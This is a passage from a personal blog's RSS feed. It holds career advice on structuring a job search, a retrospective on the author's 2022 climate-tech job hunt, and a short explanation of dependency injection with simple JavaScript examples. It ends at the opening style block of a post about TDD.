&lt;p&gt;Now, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;X&lt;/code&gt; is going to be different for you than for others, it can be very low or quite high, and it &lt;em&gt;should not be guessed at&lt;/em&gt;. You need to have actual numbers on a spreadsheet of your experience that you can point to. And, yes, you absolutely need to know what &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;X&lt;/code&gt; is; because once you do, you can start tweaking.&lt;/p&gt;

&lt;p&gt;Remember the aforementioned accountability meetings? You need those. Use a mentor, your school/bootcamp, a friend, a group of others on the job search, an AI assistant, a journal, or even a formal &lt;a href=&quot;https://www.phyl.org/join-jsc&quot;&gt;Job Search Council&lt;/a&gt;. At each meeting, review your week, go over your numbers blame-free, discuss any adjustments (eg. is &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;X&lt;/code&gt; actually lower/higher than you previously believed?) and commit to some goals for your next week.&lt;/p&gt;

&lt;p&gt;This, is where the tweaking comes in. Say your &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;X&lt;/code&gt; number is 25. You know that using a reasonable amount of effort, in the time available, you could consistently apply to 25 jobs each week, every week. You are working to increase the odds that your resume is actually looked at. What tools are available? Follow-ups are such a tool. However, these can be time intensive, and require their own set of skills to get working effectively; how to get better at these without overloading yourself and burning out on the process?&lt;/p&gt;

&lt;p&gt;Well, what if for next week you committed to something different? You scale back to only 15 job applications, but you commit to 5 followups to jobs you applied to over the previous two weeks. You should still be able to handle this effort, and as you improve you become more efficient. Once it becomes easy, you can try going back up to 20 job applications but maintaining the follow ups.&lt;/p&gt;

&lt;p&gt;A cadence gives you a ratchet to improvement. Be honest with yourself and set your goals well; you will always be getting better.&lt;/p&gt;

&lt;hr /&gt;

&lt;p&gt;I should probably stop and address the focus on job applications versus other strategies. It’s not uncommon to hear advice after all that cold-applying is the worst thing to do, it doesn’t work! No one gets a job that way!&lt;/p&gt;

&lt;p&gt;I emphasize with the desire to avoid an activity that is, for most, deeply ego-bruising. And yes, there are other techniques of course, you can study industries, join communities, reach out to old coworkers, and these are all things we will cover. But - when you have no process - those can be hard techniques to get started with. It so happens that the process of applying is a workout that builds some very specific and useful skills.&lt;/p&gt;

&lt;p&gt;So yes, if you have an uncle’s brother who can get you a job super-easy you of course should do that. Do that before reading another article. But for everyone else…then what? Because ultimately, all roads lead to Rome. There is really only one thing that you &lt;strong&gt;must do&lt;/strong&gt; to get pretty much any job after all: You have to apply.&lt;/p&gt;

&lt;p&gt;Applying to jobs is the surest way to make sure that you &lt;strong&gt;actually do something measurable&lt;/strong&gt;, it is an effective &lt;strong&gt;backstop when nothing else works&lt;/strong&gt;, and frankly - it &lt;strong&gt;trains you quite well on many of the skills you’ll need&lt;/strong&gt; to succeed in other areas of the job hunt.&lt;/p&gt;

&lt;h1 id=&quot;to-be-continued&quot;&gt;To be continued&lt;/h1&gt;

&lt;p&gt;Well, we’re over 3500 words already and good lord, we’re nowhere near done. I think we’ll stop here and pick up next time with more on the view from the hiring manager’s side, resumes, interviews, and what on earth it actually means when people tell you to network.&lt;/p&gt;

&lt;p&gt;For those who do not want to wait for the next few posts, feel free to &lt;a href=&quot;https://www.dropbox.com/scl/fi/w7u5sjhzk9dbjffdveil8/20230708231824-job_hunt_presentation.org?rlkey=5noay8yeas3etfj4nbklh43tc&amp;amp;dl=0&quot;&gt;grab my raw notes&lt;/a&gt;. It is an org file - similar to markdown - which you should be able to open in your text editor of choice.&lt;/p&gt;

</description>
    </item>
    
    <item>
      <title>Job Hunt 2022 Retrospective</title>
      <link>http://georgemauer.net/2022/11/20/job-hunt-2022-retrospective.html</link>
      <pubDate>Sun, 20 Nov 2022 00:00:00 +0000</pubDate>
      <author>George Mauer</author>
      <guid>http://georgemauer.net/2022/11/20/job-hunt-2022-retrospective.html</guid>
      <description>&lt;style&gt;
.split-aside {
  border: 1px solid gray;
  padding: 0.7rem;
  margin: 0.7em;
  margin-left: 0;
}
@media (min-width: 1024px) {
  .split-aside {
    float: right;
    width: 50%;
  }
}
&lt;/style&gt;

&lt;p&gt;I recently took an offer as a Director of Engineering with &lt;a href=&quot;https://www.blocpower.io/&quot;&gt;BlocPower&lt;/a&gt; where I will be working on &lt;a href=&quot;https://www.blocpower.io/posts/blocpower-advancing-building-data-with-5-5mm-grant-from-bezos-earth-fund&quot;&gt;creating the Building Data Collective&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;I am writing up my job search because several people have asked me about my experience of landing a job in climate tech. I am also writing it up because its the sort of thing that I just don’t see written about much. I don’t know who is interested in hearing about it, but somebody should be out there being open about their experiences with this stuff and I just happen to be somebody.&lt;/p&gt;

&lt;h1 id=&quot;my-parameters&quot;&gt;My Parameters&lt;/h1&gt;

&lt;p&gt;I want to state up front where I am coming from as it is not where 99% of job seekers are. This is important to understand for context and hopefully is not so out there as to make the rest completely unrelateable.&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;I was employed while looking around. While I feel like the role I was in was a poor fit, I was not miserable and enjoyed my coworkers and the work itself. While I am well aware that I was underpaid by industry standards, I am financially comfortable  so there wasn’t a lot of pressure to “make a move”.&lt;/li&gt;
  &lt;li&gt;I do not tend to optimize for money. I had taken pay cuts for my last two jobs and I wanted to go up for this one, but my bar is still well below what someone with my experience who optimizes for salary would be getting.&lt;/li&gt;
  &lt;li&gt;I am extremely senior and technical. My last 3 roles have been Engineering Director at Surge Consulting, CTO at Operation Spark, and Principal Engineer at findhelp (I was also for a time in an Engineering Manager and Engineering Director here as well).&lt;/li&gt;
  &lt;li&gt;I also do not optimize for people I want to work with. While I believe that this (and money) are perfectly legitimate things to optimize for - and I have in my notes a long list of people I would love to work with - it was not my focus in this case. I was aiming largely for the industry, and a role that would use more of my abilities beyond the technical ones to make the biggest impact.&lt;/li&gt;
  &lt;li&gt;I am extremely confident in my interviewing skills. I have personally interviewed close to 300 senior developers and led teams that interviewed thousands. I have designed interviewing processes at my last 3 companies. I have presented at &lt;a href=&quot;https://docs.google.com/presentation/d/1AQE0cl3pUev2j2z3PN1aZI8fYOSFlD5MQkspZkJEfCs/edit#slide=id.p&quot;&gt;conferences on interviewing&lt;/a&gt; developers. By now there is no impostor syndrome left; I have a very good idea of where I rank alongside others.&lt;/li&gt;
  &lt;li&gt;I believe &lt;a href=&quot;http://georgemauer.net/&quot;&gt;my resume&lt;/a&gt; is very strong. Resumes are a black art and different hiring managers have their own opinions but I’ve been a hiring manager in a wide range of situations and my resume is exactly what I would want to see.&lt;/li&gt;
  &lt;li&gt;Once I make it past initial screening I very rarely get eliminated by interviewing. I far from always get the offer, but its almost always after the very last interview in the process. It has been many years since I walked out of an interview feeling like I’ve anything but nailed it.&lt;/li&gt;
&lt;/ul&gt;

&lt;h1 id=&quot;summary&quot;&gt;Summary&lt;/h1&gt;

&lt;ul&gt;
  &lt;li&gt;Total time from starting casually looking to getting hired was eight months.&lt;/li&gt;
  &lt;li&gt;In my notes I applied to 39 companies. Because I was not always fastidious with tracking things (boo on me!), I estimate the actual number is closer to 60. I rarely one-click apply. I always put some significant effort toward each application.&lt;/li&gt;
  &lt;li&gt;Beyond an introductory call, I got into the interviewing process with maybe 15&lt;/li&gt;
  &lt;li&gt;I dropped out of the process purposefully of two.&lt;/li&gt;
  &lt;li&gt;Three companies dropped me midway through the process due to the role disappearing or changing.&lt;/li&gt;
  &lt;li&gt;One company dropped me from consideration for a manager role after the first interview and redirected me to a high level IC role (unfortunately none of those were available at the time).&lt;/li&gt;
  &lt;li&gt;I went through 8 full interviewing processes of 4+ rounds (not counting intro calls) and got 1 offer which happened to match up to my skills and ambitions super well.&lt;/li&gt;
  &lt;li&gt;I never received what I would consider actionable feedback. Much of the feedback I received was along the lines of “it came down to you and one other person and we just felt like they were a better fit”.&lt;/li&gt;
  &lt;li&gt;I mostly applied to companies of 10-200 people. While I did talk to a Big Tech org (Meta), I didn’t enter their interviewing pipeline. I was willing to consider it, but my recruiter contact disappeared and this was not something I was actively pursuing so I let it go.&lt;/li&gt;
  &lt;li&gt;I got some good leads from active and engaged recruiters initially after setting my LinkedIn profile to “casually looking”. This lasted for a month or two. Afterwards, the contacts from recruiters I received were all extremely impersonal and not even close to what my profile clearly stated I was interested in.&lt;/li&gt;
  &lt;li&gt;Even among all-remote companies, location can still be an issue as hiring from a new state implies a whole new tax regime. Two very promising processes had to drop me early due to not having a foothold in Louisiana (I also have friends this has happened to).&lt;/li&gt;
  &lt;li&gt;While getting an internal advocate was the best strategy for landing an interview, it was far from a sure thing. Quite a few times I had passionate advocates (even high-level internal-to-the-company advocates) making connections only to see the ball get dropped for a variety of reasons.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;I am reinforced in my belief that for very experienced people (and perhaps most others), the big impediment to getting hired at &lt;strong&gt;most&lt;/strong&gt; companies is not resume, skill, or even ability to demonstrate skill, so much as the fact that the vast majority of companies simply do not have their hiring sh*t together. Positions are far less solid, needs are far less thought through, and hiring processes are simply not welled tuned. I fully believe that &lt;a href=&quot;https://www.wsj.com/articles/that-plum-job-listing-may-just-be-a-ghost-3aafc794&quot;&gt;somewhere around half of all online job applications go into a queue that no one monitors in a system rarely logged into&lt;/a&gt;. I suspect this is often due to turnover or confusion on the part of hiring managers. I realize that sounds like a rationalization but I have been on the other side of the table as well. I have personally taken over a hiring process that had only a trickle of candidates, only to discover a whole tab in Lever bursting with submissions that no one had known to check.&lt;/p&gt;

&lt;p&gt;I believe that this is doubly so the case in climate tech. While I think it an incorrect stereotype that most climate tech companies are bootstrapped 5-people shops without a serious product, I do think that as an industry overall they are far less mature on the process side. As one of many indicators, consider that in a good interview process the final round should be largely a double check, not a significant filter. Every moment that you spend talking to a candidate who you do not end up hiring is a waste of both your and the candidate’s time. If a company is having 4, 5, 6 rounds of interview then with each successive round they should be &lt;em&gt;less likely to eliminate someone&lt;/em&gt;, a final-round elimination might be necessary but should be considered a failure of process worthy of retrospective and adjustment. This seems to be rarely the way people in climate tech are thinking about things.&lt;/p&gt;

&lt;p&gt;Similarly, I consider interviews where a large cross-section of a department/company has to meet you to be a signal of insecurity. When unsure of the effectiveness of the hiring process it is not uncommon for managers to seek consensus from the team. While understandable, and usually an attempt to de-bias, the distribution of responsibility has the opposite effect by granting everyone veto power - a situation where bias is all but guaranteed!&lt;/p&gt;

&lt;p&gt;I think far too many people in hiring are unsure of themselves and feel a predisposition to &lt;a href=&quot;https://en.wikipedia.org/wiki/Zero-risk_bias&quot;&gt;zero-risk&lt;/a&gt;. However, hiring ultimately &lt;strong&gt;is&lt;/strong&gt; a risk, there is only so much mitigation possible.&lt;/p&gt;

&lt;h1 id=&quot;strategy-and-job-search-evolution&quot;&gt;Strategy and Job search evolution&lt;/h1&gt;

&lt;p&gt;After applying and as I start hearing back from applications, I naturally spend more time engaging with those companies and less applying to new opportunities. Hence my job searches tend to cluster into natural rounds.&lt;/p&gt;

&lt;h2 id=&quot;round-1&quot;&gt;Round 1&lt;/h2&gt;

&lt;p&gt;My initial job search started in early March 2022 as a result of a few particularly despiriting months at work combined with some difficult departures, and no acknowledgment from leadership that they agreed with nor even saw the same problems I was calling out repeatedly. As this was largely about frustration, my efforts were minimal and unserious - consisting largely of asking around in a few Slacks, casually browsing &lt;a href=&quot;https://techjobsforgood.com/&quot;&gt;TechJobsForGood&lt;/a&gt; listings, and toggling the “show recruiters I’m available” switch on LinkedIn. I also wrote down and made clear my criteria which, at the time, was jobs that could check multiple of the following check boxes.&lt;/p&gt;

&lt;ul class=&quot;task-list&quot;&gt;
  &lt;li class=&quot;task-list-item&quot;&gt;&lt;input type=&quot;checkbox&quot; class=&quot;task-list-item-checkbox&quot; disabled=&quot;disabled&quot; /&gt;In the climate tech industry (using a loose definition)&lt;/li&gt;
  &lt;li class=&quot;task-list-item&quot;&gt;&lt;input type=&quot;checkbox&quot; class=&quot;task-list-item-checkbox&quot; disabled=&quot;disabled&quot; /&gt;Building productivity tooling - especially developer productivity tooling&lt;/li&gt;
  &lt;li class=&quot;task-list-item&quot;&gt;&lt;input type=&quot;checkbox&quot; class=&quot;task-list-item-checkbox&quot; disabled=&quot;disabled&quot; /&gt;Companies doing something non-trivial with AI/ML so I could work adjacent to it and get my toes wet&lt;/li&gt;
  &lt;li class=&quot;task-list-item&quot;&gt;&lt;input type=&quot;checkbox&quot; class=&quot;task-list-item-checkbox&quot; disabled=&quot;disabled&quot; /&gt;Companies committed to functional programming - especially any LISP&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;For roles I was looking specifically for staff+/principal developer or engineering manager/director positions where I could help set technical and product direction.&lt;/p&gt;

&lt;p&gt;This resulted in a round of interviewing that lasted until approximately mid-June. Deep into the process, one company rethought their needs. Another I dropped out of due to misalignment of expectations. Two had my initial contact leave the company and the process get abandoned. Four other companies (2 climate tech, 2 productivity tech) moved me all the way through multiple rounds only to get no offer.&lt;/p&gt;

&lt;p&gt;Reading between the lines a bit where they did not tell me explicitly (sometimes they did), the reasons were roughly&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;A misalignment when talking to the (final interview) COO between his and my expectations of how much I would work on product direction versus just heads-down coding&lt;/li&gt;
  &lt;li&gt;Another hire was a better fit (possibly due to me having no professional experience with Clojure)&lt;/li&gt;
  &lt;li&gt;A discomfort with my contracting background due to specific bad previous experiences within a smaller startup. To their credit, they took the time to actually call me up and talk to me about their hesitations and apologized for not previously having this as a filtering criteria.&lt;/li&gt;
  &lt;li&gt;A last-minute change in direction for the role, orienting it toward more junior managers and a better fitting candidate for the new direction&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;This was of course very despiriting as I spent significant time getting to know all these companies and envisioning myself working there. As I geared up for another round I decided a shift in strategy might be appropriate.&lt;/p&gt;

&lt;h2 id=&quot;strategy-shift&quot;&gt;Strategy shift&lt;/h2&gt;

&lt;p&gt;In addition to having spent many years mentoring tech job seekers, I have been a bootcamp CTO where I worked with grads seeking their first job directly. I have built up a long repository of advice for how one should conduct and strategize about a job search. As in my mind I hadn’t been “seriously looking”, I had so far been implementing very little of it.&lt;/p&gt;

&lt;p&gt;In a conversation catching my father up on the previous round, he called me out that whatever I was doing wasn’t working. “It’s fine, I don’t think of this as a failure at all” I told him through clenched teeth. That evening I acknowledged quietly to myself that he’s probably right. If I was going to be serious about what I was doing, I should practice what I preach.&lt;/p&gt;

&lt;p&gt;So, suggestion #1 (well, not technically #1 on everyone’s list, more the big one I wanted to try out) was to build up a series of internal advocates at companies by focusing on an industry. I would do this by joining an industry-focused community &lt;strong&gt;and participating&lt;/strong&gt; within it. In my case this meant taking a first step of narrowing down my own criteria even further. Fortunately I already had a pretty good idea of what I wanted to do. Earlier that year, and wanting to be more intentional about my charitable giving, I had taken the &lt;a href=&quot;https://www.effectivealtruism.org/&quot;&gt;Effective Altruism&lt;/a&gt; introductory course. And, while I find myself disagreeing with much of the ways in which this community construes their arguments (a whole different topic, but Doing Good Better is full of spurious correlation, lazy analysis, and some strangely colonialist thinking), I also agree wholeheartedly with many of their general points. In this particular case, the argument goes that to do the most good, you should either optimize your career for money and donate most of it, or find an important industry in a role that you can do significantly better than others. Well, I really believe that climate change is a society-level threat, I really do think that climate tech will have to be a large part of our way out of the mess, and - not sure if anyone’s noticed here - but I do have a bit of an ego. So toss everything else out the window, I should be focusing explicitly and ruthlessly on climate tech and specifically on roles where I can use my specific blend of contracting, mentoring, business-strategy, community-building, and technical experience to make the biggest impact possible.&lt;/p&gt;

&lt;p&gt;The general idea of this join-a-community strategy is that, by becoming an active participant, you build up your visibility. Others in the community - the most active of whom are typically movers and shakers themselves - tend to take notice. You request informational interviews, chat, build up relationships and have them become advocates for you within &lt;strong&gt;their&lt;/strong&gt; extended network. That - as I tell people often - is networking; it’s not just eating crappy pizza in the back of a dev meetup.&lt;/p&gt;

&lt;p&gt;Again, in my case I already had a community in mind. In my late-night-kitchen-cleaning sessions I had listened to, and enjoyed, a couple episodes of the &lt;a href=&quot;https://www.mcjcollective.com/media/podcast&quot;&gt;MyClimateJourney&lt;/a&gt; podcast. In these podcasts they heavily promote their exclusive (and paid) slack community. Well, $10 per month for a slack is a lot sure, but its nothing if the end result is being able to execute better on a strategic roadmap. Just a few leads from there could easily pay off. I signed up and started introducing myself.&lt;/p&gt;

&lt;p&gt;I’ll also note that I purposefully did not pick an area of specialization within climate tech. The entire field is somewhat new but highly technical with tremendous amounts of low-hanging fruit many unproven approaches. I figured that - given the little time for research I have available -  so long as I avoided the obvious scammers, one guess at what area might be highly impactful would be as good as another. We’re talking about making an impact here, I can get excited about the details later.&lt;/p&gt;

&lt;h2 id=&quot;rounds-2-and-spoiler-alert-3&quot;&gt;Rounds 2 and (spoiler alert) 3&lt;/h2&gt;

&lt;p&gt;So I joined, having made a point of being active (difficult as I am in, like…15 other slacks and an IRC, and work) and started connecting. I would monitor the Slack’s job listings for postings that seemed interesting (many in the summer, starting to thin out significantly into the fall), answer questions when I could, and just try to engage in general chat for the sake of community presence. (Pro tip for technical communities - make a technical statement that is mildly controversial and watch the engagement roll in.)&lt;/p&gt;

&lt;p&gt;I connected with people almost immediately with a couple reaching out directly to me, and myself making the effort to reach out to others for an introductory conversation whenever I saw something that seemed interesting. In the meantime I monitored &lt;a href=&quot;https://climatebase.org/&quot;&gt;ClimateBase&lt;/a&gt; and - as I was now more focused on getting an insider edge - connecting to people on Slack (MCJ or Rands Leadership Slack) and LinkedIn.&lt;/p&gt;

&lt;aside class=&quot;split-aside&quot;&gt;
  &lt;header&gt;&lt;h3&gt;On cover letters.&lt;/h3&gt;&lt;/header&gt;

  &lt;p&gt;Even with advocates, I still usually ended up being directed to apply online as an official entry point, and when I did I would write a well thought out cover letter. I know opinions vary heavily but I am very much in the pro-cover letter camp. Sure I have a great resume, but within a certain degree of tolerance, resumes are all the same, and advice around them is rarely universal. I&apos;ve been in enough resume-review mobs to know that a technique that hits hard to one reviewer might completely turn off another; most resume advice is personal and situational opinion and tuning it is only so helpful.&lt;/p&gt;

  &lt;p&gt;So I love a cover letter as it gives me an opportunity to stand out. Now note that this means I &lt;b&gt;actively reject all the &quot;good cover letter practices&quot;&lt;/b&gt;. I certainly do not echo the job requirements back and I do not walk them through how my experience matches up to their listed buzzwords. If the entire point is to stand out, why would I do what is recommended to everyone else?&lt;/p&gt;

  &lt;p&gt;Instead I focus on writing well, and on finding something interesting to say about the company. Only then do I circle back eventually to why the job seems a particular fit. This approach has the added bonus of letting me work out the &quot;why do you want to work here&quot; question ahead of time. By the time I&apos;m asked some variation of it, not only do I have an answer, but I&apos;ve written about it, work-shopped it in my mind, and am 100% ready to engage in a deeper discussion.&lt;/p&gt;

  &lt;p&gt;Finally, to finish out my cover-letter rant, this doesn&apos;t mean that everything I write is 100% custom. I save the letters I write in my notes. There are commonalities between various companies and I certainly end up copy and pasting to recombine the most interesting bits for each subsequent one. For something like the industry-focus strategy this, again, very quickly becomes an opportunity to think through some talking points that serves you well into the interview rounds.&lt;/p&gt;
&lt;/aside&gt;

&lt;p&gt;So did all this work?&lt;/p&gt;

&lt;p&gt;Well somewhat. I certainly got a great round of initial interest and quickly entered several interview processes.&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;One petered out after a very enthusiastic recruiter interview. When following up, the recruiter had left the company and their replacement was unwilling to push me along without the department pulling me in. My contact within the company in the meantime kept telling me the position was open and he had no idea what counted as a “pull”…Ah, big-org problems.&lt;/li&gt;
  &lt;li&gt;Another moved me along for about half the process with final rounds scheduled when I got word they filled the role&lt;/li&gt;
  &lt;li&gt;A third passed me through their full process with great feedback and multiple rounds of direct engagement from their CTO only to ultimately get a rejection and no feedback whatsoever. Very disappointing for how open they had been earlier in the process.&lt;/li&gt;
  &lt;li&gt;A fourth also passed me through their full process and multiple panel interviews with the hiring manager himself as my advocate. He did me the favor of calling me with the rejection. Apparently I had high marks throughout but the members themselves of the team I’d be managing felt like we “didn’t gel”. Yeah, not a lot I can do with that one.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;And this put me into the third round. Now by this time things had gotten markedly better at work and - while my Effective Altruism-acquired logic still applied - I was no longer approaching things with the same vigor. Still, even without heavy enthusiasm, by now the process itself was humming along.&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;One company I had started conversations with months ago that were slow-walked ended up taking me through the entire process only again to end in a “we found someone else” situation. (Lest I sound bitter, I think this is absolutely legitimate for a startup. For example many need a high-level person who can handle their ops. I, in the meantime, lead with “I really dislike doing ops”. Picking someone else over me here totally makes sense, I simply wish they could realize that sooner.)&lt;/li&gt;
  &lt;li&gt;A second company, I ultimately talked to the CTO who basically explained the bulk of their needs were just some UI performance optimization - not a great fit for what I’m looking for.&lt;/li&gt;
  &lt;li&gt;A third I was in process and heading into final rounds when I hit pause as…&lt;/li&gt;
  &lt;li&gt;I got an offer. This was a company I had started conversations with at the very end of Round 2. It seemed scrappy and disorganized and like it will be a real pain in the ass at least for a while. But also potential for building up some fascinating connections, having some fun, making a real outsized impact, and a task that - on paper at least - I can’t think of anyone else who is more qualified for than me.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;And hence where I am now.&lt;/p&gt;

&lt;h2 id=&quot;retrospective-and-takeaways&quot;&gt;Retrospective and Takeaways&lt;/h2&gt;

&lt;p&gt;To start with, it doesn’t matter how hot the market is. If you have something specific in mind and no pre-existing connections, its going to take longer than you think.&lt;/p&gt;

&lt;p&gt;I am also more convinced than ever that if you are targeting high-level non-IC positions at smaller companies your best bet is one of two options:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Start as an IC - maybe even at the risk of taking a career-step backwards - establish yourself as a power-player, and work to transition&lt;/li&gt;
  &lt;li&gt;Build up a network of internal advocates, ideally multiple.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Without the above it is simply too common that you get lost among the shuffle. A company might know they need a Head of Engineering, but they likely have very little idea of how to filter resumes for one. Unless you’re rolling in with a resume that happens to hit their preconceived notions of the role directly on the head it’s going to be hard to even open a conversation.&lt;/p&gt;

&lt;p&gt;I also think that I spent more time chasing companies than I needed to. A few places that seemed extremely exciting to me in the digital-twin modeling space, I could never get a hold of anyone either via applying, follow-ups, cold reach-out on LinkedIn, or even occasional referrals. If a place is giving you complete radio silence, there might just not be anyone on the other end to pick up the phone.&lt;/p&gt;

&lt;p&gt;I do wish I had identified and focused on what I wanted earlier. I also think I could have taken time to investigate other climate tech communities, participated even more, and reached out to others even more than I did. At another time (read: pre-kids) I might have even done significant research into the area on my own time, doing literature reviews and building up strong opinions on what seemed the most exciting. That said, the process of interviewing was very educational in itself. “What questions do you have for us” usually translated into me learning something about the state of the industry.&lt;/p&gt;

&lt;p&gt;Having switched jobs 3 times in 6 years (2 layoffs and this), I hope I’ve found a great long-term home and to be done with it for a while, but if I find myself in the position in the future I might try to apply to enough places so that I can run some hypothesis testing. &lt;strong&gt;Does&lt;/strong&gt; a custom cover letter actually reliably get me the best results? What &lt;strong&gt;is&lt;/strong&gt; the best response rate I can get just by cold-applying with a really strong resume? Do connections made via an individual that vouches for me (even if we met relatively recently) work better than ones I made myself by a cold approach? All interesting stuff that I have opinions on and would love to gather some data on.&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>What is Dependency Injection?</title>
      <link>http://georgemauer.net/2020/01/31/what-is-dependency-injection.html</link>
      <pubDate>Fri, 31 Jan 2020 00:00:00 +0000</pubDate>
      <author>George Mauer</author>
      <guid>http://georgemauer.net/2020/01/31/what-is-dependency-injection.html</guid>
      <description>&lt;p&gt;Recently I was asked in the &lt;a href=&quot;https://operationcode.org/&quot;&gt;Operation Code Slack&lt;/a&gt; to help someone understand &lt;a href=&quot;https://en.wikipedia.org/wiki/Dependency_injection&quot;&gt;dependency injection&lt;/a&gt;. What follows is my answer - as always, editted for clarity and to make me seem like a better writer.&lt;/p&gt;

&lt;p&gt;This is also in the context of javascript, though the concepts apply regardless.&lt;/p&gt;

&lt;hr /&gt;

&lt;p&gt;So what is &lt;em&gt;Dependency Injection&lt;/em&gt;?&lt;/p&gt;

&lt;p&gt;This is one of those terms that feels complex but is really so simple it is almost silly there exists a term for it. At it’s core, dependency injection is really just a certain way of having your code use other bits of code. The term exists not as an academic topic, but simply make it easier for developers to talk to each other about how their code is structured.&lt;/p&gt;

&lt;!--break--&gt;

&lt;p&gt;To understand this, lets take the simplest situation - a function&lt;/p&gt;

&lt;p&gt;Say we have this function:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;const calculateName = (p) =&amp;gt; ...whatever...
const greet = (person) =&amp;gt; {
  const name = calculateName(person)
  console.log(`Hi there ${name}`)
}
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;So we have this &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;calculateName&lt;/code&gt; function. Maybe at the moment it does something like just concatenate first name and last name, but in the future we might want to do something more complex; it might determine the salutation “Mr,” “Mrs.” “Dr” “Rear Admiral”; or it might check names to ensure they’re on a guest list; or maybe resolve and add &lt;a href=&quot;https://en.wikipedia.org/wiki/Patronymic#Ukrainian&quot;&gt;patronymics&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Right now, the only way to do that would be to change the code inside the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;calculateName&lt;/code&gt; function. But a popular programming rule of thumb is the &lt;a href=&quot;https://blog.cleancoder.com/uncle-bob/2014/05/12/TheOpenClosedPrinciple.html&quot;&gt;Open/Closed principle&lt;/a&gt; which says we should write reusable code that should be easy to extend without having to modify it.&lt;/p&gt;

&lt;p&gt;How do we do that, then?&lt;/p&gt;

&lt;p&gt;Well, the greet function’s job is to know how to greet someone, it is not its job to know how to get a name for a person. This is why &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;calculateName&lt;/code&gt; should probably be its own function to begin with. As implemented above however, our &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;greet&lt;/code&gt; function doesn’t exactly hard-code how to get a name, but it is &lt;em&gt;does&lt;/em&gt; hard-code a reference to the function that knows how to do it. Changing the name calculation would therefore still require changing this unit of code, no matter how its broken up.&lt;/p&gt;

&lt;p&gt;So how do we make it extensible?&lt;/p&gt;

&lt;p&gt;Well, how about we pass the name calculation function itself as a parameter?&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;const greet = (getName, person) =&amp;gt; {
  const name = getName(person)
  console.log(`Hi there ${name}`)
}
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;and&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;const reallyComplexGetName = () =&amp;gt; ...whatever complex thing you want to do...

greet(reallyComplextGetName, person)
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;What we’ve done here is taken the dependency (the function that knows how to calculate the name) and injected it into the code - in this case via a parameter. You can do the same type of thing with classes, with factory functions, and even with modules.&lt;/p&gt;

&lt;p&gt;“Dependency injection” is really just the term for when we do this type of thing. We all do it, the point is for developers to have a common terminology for this sort of thing.&lt;/p&gt;

&lt;hr /&gt;

&lt;h2 id=&quot;addendum-1&quot;&gt;Addendum #1&lt;/h2&gt;

&lt;p&gt;A very common form of dependecy injection is “constructor injection”. This comes up often when you use classes. I don’t love using classes in javascript (or really in general, I prefer simpler patterns), but here’s what that looks like:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;class Greeter {
  constructor(getName) {
    this._getName = getName
  }
  sayHi = (person) =&amp;gt; {
    const name = this._getName(person).
    console.log(`Hi there ${name}`)
  }
}
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;In this case, the point of the constructor is to explicitly separate the place where “dependencies” are passed in from more regular parameters.&lt;/p&gt;

&lt;h2 id=&quot;addendum-2&quot;&gt;Addendum #2&lt;/h2&gt;

&lt;p&gt;I should point out also that a major benefit of writing code like this, is how composable things can become. For example you could use the “decorator function” pattern (again, not a big theoretical thing, just a way of talking about your code) to build-up the name bit by bit to end up with something like&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;const getName = addSalutation(
                  resolvePatronymic(
                    ensureOnGuestList(
                      basicGetName(person))))

greet(getName, person)
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
</description>
    </item>
    
    <item>
      <title>TDD With No More Tears</title>
      <link>http://georgemauer.net/2019/12/02/tdd-with-no-more-tears.html</link>
      <pubDate>Mon, 02 Dec 2019 00:00:00 +0000</pubDate>
      <author>George Mauer</author>
      <guid>http://georgemauer.net/2019/12/02/tdd-with-no-more-tears.html</guid>
      <description>&lt;style&gt;
  .posts .tdd-with-no-more-tears img, 
  .entry img,
  .entry figure {
    margin: 20px;
    display: flex;
    flex-direction: column;
    justify-content: center;
    align-items: center;
  }
  .entry figure img {
    margin: 0;
  }
  .entry .tdd-terms {
    border: 1px solid gray;
    display: inline-flex;
    margin: 0 auto;
    padding: 10px 30px;
    position: relative;
    left: calc(50% - 3em - 15px);
  }
  blockquote {
    border-left: 1px solid #ccc;
    padding: 0 .7em;
  }
&lt;/style&gt;

